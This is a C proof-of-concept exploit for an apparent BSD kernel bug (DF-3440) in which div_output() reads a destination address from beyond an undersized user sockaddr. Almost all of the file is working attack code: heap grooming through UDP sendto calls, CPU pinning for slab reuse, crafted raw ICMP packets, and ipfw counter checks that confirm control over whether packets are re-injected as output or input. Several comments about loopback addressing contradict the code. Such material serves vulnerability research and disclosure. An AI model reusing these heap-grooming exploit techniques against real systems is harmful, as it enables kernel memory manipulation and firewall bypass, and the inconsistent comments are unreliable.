/*
 * divsteer.c - DF-3440: div_output() reads sin_addr (offset 8..12) from
 * beyond the user-supplied sockaddr and lets those out-of-bounds heap
 * bytes decide the re-inject direction (ip_output vs ip_input).
 *
 * Mechanics: getsockaddr() kmalloc's exactly namelen bytes.  A 9-byte
 * divert destination sockaddr lives in the 16-byte slab chunk; bytes
 * 9..16 are recycled heap slack (groomable via a preceding 16-byte
 * sockaddr sendto on a UDP socket, M_SONAME LIFO reuse).
 * div_output() evaluates DIV_IS_OUTPUT(sin) on sin_addr = bytes
 * 8..12 = {my byte 8 (zero), 3 bytes of slack}:
 *   groom slack bytes 9..11 = 0   -> sin_addr == 0 -> ip_output()
 *   groom slack bytes 9..11 != 0  -> sin_addr != 0 -> ip_input()
 *
 * Observable per shot (ipfw2 rule "divert 8675 icmp", one_pass=1):
 *   OUTPUT path: reinjected packet reaches ip_input's firewall walk on
 *               loopback -> divert rule counter +1 and the packet is
 *               read back on the divert socket.
 *   INPUT path:  one_pass consumes the divert tag at the direct
 *               ip_input() entry -> rule counter +0, no readback, but
 *               the packet is delivered locally (ICMP reply emitted).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/usched.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#ifndef IPPROTO_DIVERT
#define IPPROTO_DIVERT 258
#endif
#define DIVPORT 8675

static int dfd, ufd;

static unsigned long
rule_ctr(void)
{
	FILE *f;
	char line[256];
	unsigned long ruleno, pkts;

	f = popen("/sbin/ipfw show 2>/dev/null", "r");
	if (!f)
		return (unsigned long)-1;
	while (fgets(line, sizeof(line), f)) {
		if (sscanf(line, "%lu %lu", &ruleno, &pkts) == 2 &&
		    ruleno == 100) {
			pclose(f);
			return pkts;
		}
	}
	pclose(f);
	return (unsigned long)-1;
}

static void
groom16(const char *addr)
{
	struct sockaddr_in g;

	memset(&g, 0, sizeof(g));
	g.sin_len = sizeof(g);
	g.sin_family = AF_INET;
	g.sin_port = 0;
	inet_pton(AF_INET, addr, &g.sin_addr);
	sendto(ufd, "g", 1, 0, (struct sockaddr *)&g, sizeof(g));
}

int
main(void)
{
	unsigned char pkt[48];
	unsigned char sa9[9];
	struct sockaddr_in full;
	char buf[2048];
	socklen_t flen;
	struct sockaddr_in from;
	ssize_t n;
	unsigned long c0, c1;
	int i, rc;
	int cpu0 = 0;

	/* pin to one CPU so the groom chunk and the under-sized divert
	 * sockaddr come from the same per-CPU slab free list (LIFO) */
	if (usched_set(0, USCHED_SET_CPU, &cpu0, sizeof(cpu0)) < 0)
		fprintf(stderr, "usched_set: %s (continuing unpinned)\n",
		    strerror(errno));

	if ((dfd = socket(AF_INET, SOCK_RAW, IPPROTO_DIVERT)) < 0 ||
	    (ufd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
		fprintf(stderr, "socket: %s (need root)\n", strerror(errno));
		return 1;
	}
	memset(&full, 0, sizeof(full));
	full.sin_len = sizeof(full);
	full.sin_family = AF_INET;
	full.sin_port = htons(DIVPORT);
	if (bind(dfd, (struct sockaddr *)&full, sizeof(full)) < 0) {
		fprintf(stderr, "bind: %s\n", strerror(errno));
		return 1;
	}

	/* packet: ICMP echo request 127.0.0.1 -> vtnet0 (10.0.2.15).
	 * A non-loopback destination is required: DF's ipfw input/output
	 * hooks live in the ether layer (if_ethersubr.c:466,1061), so only
	 * the OUTPUT branch (ip_output -> vtnet0 -> ether_ipfw_chk) runs
	 * the firewall and can hit the divert rule for the readback. */
	memset(pkt, 0, sizeof(pkt));
	{
		struct ip *ip = (struct ip *)pkt;
		ip->ip_v = 4;
		ip->ip_hl = 5;
		ip->ip_len = htons(sizeof(pkt));
		ip->ip_ttl = 64;
		ip->ip_p = 1;
			inet_pton(AF_INET, "10.0.2.15", &ip->ip_src);
		inet_pton(AF_INET, "10.0.2.2", &ip->ip_dst);
		pkt[20] = 8;
	}

	memset(sa9, 0, sizeof(sa9));
	sa9[0] = 9;			/* sa_len: 9 bytes only */
	sa9[1] = AF_INET;		/* bytes 2..9 (incl. sin_port slot
					 * 4..8 and sin_addr byte 8) = 0 */

	for (i = 0; i < 3; i++) {
		/* --- expect OUTPUT: slack bytes 9..11 groomed to zero --- */
		c0 = rule_ctr();	/* read counters BEFORE grooming: the
					 * popen allocations would trash the
					 * 16-byte slab chunk we groom */
		groom16("0.0.0.0");
		rc = sendto(dfd, pkt, sizeof(pkt), 0,
		    (struct sockaddr *)sa9, sizeof(sa9));
		usleep(400000);
		c1 = rule_ctr();
		flen = sizeof(from);
		n = recvfrom(dfd, buf, sizeof(buf), MSG_DONTWAIT,
		    (struct sockaddr *)&from, &flen);
		printf("groom 0.0.0.0 + 9B sa: send=%d rule100 %lu->%lu "
		    "readback=%zd => %s\n", rc, c0, c1, n,
		    (c1 > c0) ? "OUTPUT (OOB sin_addr==0)" :
		    "INPUT  (OOB sin_addr!=0)");

		/* --- expect INPUT: slack bytes 9..11 groomed nonzero --- */
		c0 = rule_ctr();
		groom16("1.2.3.4");
		rc = sendto(dfd, pkt, sizeof(pkt), 0,
		    (struct sockaddr *)sa9, sizeof(sa9));
		usleep(400000);
		c1 = rule_ctr();
		flen = sizeof(from);
		n = recvfrom(dfd, buf, sizeof(buf), MSG_DONTWAIT,
		    (struct sockaddr *)&from, &flen);
		printf("groom 1.2.3.4 + 9B sa: send=%d rule100 %lu->%lu "
		    "readback=%zd => %s\n", rc, c0, c1, n,
		    (c1 > c0) ? "OUTPUT (OOB sin_addr==0)" :
		    "INPUT  (OOB sin_addr!=0)");
	}
	return 0;
}